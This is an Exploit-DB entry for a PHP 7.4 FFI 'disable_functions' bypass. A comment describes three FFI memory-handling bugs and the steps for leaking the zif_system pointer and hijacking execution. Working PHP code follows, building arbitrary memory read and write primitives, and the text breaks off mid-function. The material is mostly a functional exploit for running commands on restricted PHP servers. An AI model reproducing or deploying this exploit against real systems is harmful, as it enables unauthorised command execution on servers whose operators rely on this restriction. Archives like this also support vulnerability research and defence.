Exploit-DB #48655
Description: PHP 7.4 FFI - 'disable_functions' Bypass
Type: webapps
Platform: php
Date: 2020-07-07
Author: hunter gregal

Exploit:
<?php
/*
FFI Exploit - uses 3 potential BUGS.
PHP was contacted and said nothing in FFI is a security issue.

Able to call system($cmd) without using FFI::load() or FFI::cdefs()

* BUG #1 (maybe intended, but why have any size checks then?)
  no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER
  (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)

* BUG #2 (maybe intended, but why have any checks then?)
  no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER
  (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)

* BUG #3
  Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()
  call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr
  on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA
  object


   the easiest way is to create cdata object, write target RIP (zif_system's address) to it
   and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it

Exploit steps:
    1. Use read/write to leak zif_system pointer
        a. walk cdata object to leak handlers pointer ( in .bss )
        b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits
            right below a pointer to the .data.relro segment
        c. Increment and read the .data.relro pointer to get a relro section leak
        d. Using the relro section leak, scan up memory looking for the 'system' string that is
           inside the zif_system relro entry. 
        e. once found, increment and leak the zif_system pointer
    2. Hijack RIP with complete argument control
        a. create a function pointer CDATA object using FFI::new() [not callable as it is
            technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()
        b. Overwrite the object'd data with zif_system pointer
        c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is
            callable with our own arguments
    3. Create proper argument object to pass to zif_system (zend_execute_data .. )
        a. Build out the zend_execute_data object in a php string
        b. right after the object is the argument object itself (zval) which we must also
            build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer
            and place it into a fake zval STRING object.
        c. finally we can call zif_system with a controlled argument

    NOTE: does NOT exit cleanly nor give command output -- both may be possible

Author: Hunter Gregal
Tested on:
    - PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi
    - PHP 7.4.3 x64 Ubuntu 20 (apt install)
*/

ini_set("display_errors", "On");
error_reporting(E_ALL);

function pwn($cmd) {
    function allocate($amt, $fill) {
        // could do $persistent = TRUE to alloc on libc malloc heap instead
        // but we already have a good read/write primitive
        // and relying on libc leaks for gadgets is not very portable
        // (custome compiled libc -> see pornhub php 0-day)
        $buf = FFI::new("char [".$amt."]");
        $bufPtr = FFI::addr($buf);
        FFI::memset($bufPtr, $fill, $amt);
        // not sure if i need to keep the CData reference alive
        // or not - but just in case return it too for now
        return array($bufPtr, $buf);
    }
    
    // uses leak to leak data from FFI ptr
    function leak($ptr, $n, $hex) {
        if ( $hex == 0 ) {
            return FFI::string($ptr, $n);
        } else {
            return bin2hex(FFI::string($ptr, $n));
        }
    }
    
    function ptrVal($ptr) {
        $tmp = FFI::cast("uint64_t", $ptr);
        return $tmp->cdata;
    }
    
    /* Read primative
    writes target address overtop of CDATA object pointer, 
    then leaks directly from the CDATA object
    */
    function Read($addr, $n = 8, $hex = 0) {
        // Create vulnBuf which we walk back to do the overwrite
        // (the size and contents dont really matter)
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        // walk back to get ptr to ptr (heap)
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        /*// DEBUG
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        */
    
        // Overwrite the ptr
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
    
        // Leak the overwritten ptr
        return leak($vulnBufPtr, $n, $hex);
    }
    
    /* Write primative
    writes target address overtop of CDATA object pointer, 
    then writes directly to the CDATA object
    */
    function Write($addr, $what, $n) {
        // Create vulnBuf which we walk back to do the overwrite
        // (the size and contents dont really matter)
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        // walk back to get ptr to ptr (heap)
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        /*// DEBUG
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        */
    
        // Overwrite the ptr
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
    
        // Write to the overwritten ptr
        FFI::memcpy($vulnBufPtr, $what, $n);
    }
    
    function isPtr($knownPtr, $testPtr) {
        if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {